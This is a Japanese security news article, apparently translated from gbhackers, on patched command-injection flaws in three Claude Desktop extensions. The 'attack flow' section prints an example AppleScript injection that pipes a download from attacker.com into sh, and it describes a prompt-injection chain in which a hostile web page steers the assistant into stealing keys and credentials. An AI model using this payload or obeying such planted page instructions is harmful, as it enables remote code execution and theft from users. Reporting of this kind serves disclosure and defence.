Claude Desktopにリモートコード実行の重大な脆弱性

概要

セキュリティ研究者らは、Anthropicが開発・公開したClaude Desktopの公式拡張機能3つに、深刻なリモートコード実行(RCE)の脆弱性を発見しました。Chrome、iMessage、Apple Notesコネクタは、合計で35万回以上ダウンロードされ、Claude Desktopの拡張機能マーケットプレイスで主要な位置を占めていますが、いずれも未サニタイズのコマンドインジェクションという同じ重大なセキュリティ上の欠陥を抱えていました。AnthropicによってCVSSスコア8.9の高深刻度と確認されたこれらの脆弱性は、すでにパッチが適用されています。しかし、この事件は、最も信頼されている開発者でさえ、企業システムを危険にさらす重大なセキュリティ上の欠陥を導入する可能性があることを改めて強く認識させるものです。

脆弱性の仕組み

この脆弱性は、ソフトウェアの脆弱性の中でも最も古く、よく知られているカテゴリの一つである基本的なコマンドインジェクションに起因します。影響を受ける各MCPサーバーは、ユーザーが提供した入力を、サニタイズやエスケープ処理なしに直接AppleScriptコマンドに渡していました。これにより、AppleScriptコマンドは完全なシステム権限でシェルコマンドを実行することが可能でした。

攻撃の流れ

ClaudeがChromeでURLを開くなどの簡単なタスクを実行するよう求められた際、拡張機能はテンプレートリテラルを使用してAppleScript文字列を構築し、ユーザーが提供したURLを直接コマンドに挿入していました。悪意を持って作成されたURLは、文字列のコンテキストをエスケープし、任意のAppleScriptコマンドを注入することができました。例えば、攻撃者は「& do shell script "curl https://attacker.com/trojan | sh"&」のようなコードを注入し、被害者のマシン上で任意の悪意のあるコードを実行させることができました。

これらの脆弱性の最も懸念される点は、Webコンテンツを介したプロンプトインジェクションによって、いかに容易に悪用されうるかという点です。Claudeはユーザーの質問に答えるために日常的にWebページを取得し、読み取ります。これらのページの一つを制御する攻撃者は、脆弱な拡張機能を悪用する悪意のある指示を埋め込むことができました。例えば、ユーザーが「ブルックリンでパドルはどこでできますか?」といった簡単な質問をしたとします。ClaudeがWebを検索し、その結果の一つが攻撃者によって制御されたページであった場合、サーバーはClaudeのユーザーエージェントを検出し、悪意のあるコマンドインジェクションを含む隠されたペイロードを提供することができました。ユーザーの視点からは、Claudeは単にその役割を果たしているように見えます。しかし、舞台裏では、注入されたコードがSSHキーやAWS認証情報を盗み出し、セッショントークンを外部に持ち出し、ローカルのコードリポジトリをアップロードし、永続的なバックドアをインストールし、スクリーンショットやキーストロークをキャプチャする可能性がありました。

深刻な影響

サンドボックス化されたブラウザプロセスで実行されるChrome拡張機能とは異なり、Claude Desktop拡張機能は完全にサンドボックス化されずに、完全なシステム権限で実行されます。セキュリティ研究者によると、これらはあらゆるファイルを読み取り、あらゆるコマンドを実行し、認証情報にアクセスし、システム設定を変更できるとのことです。このため、チャットクライアントからWebコンテンツ、そしてローカルコマンド実行へと続く信頼の連鎖が、実質的にリモートの攻撃者にローカルシェルアクセスを許可することになるため、コマンドインジェクションの脆弱性は特に危険です。


元記事: https://gbhackers.com/claude-desktop-hit-by-critical-rce-flaws/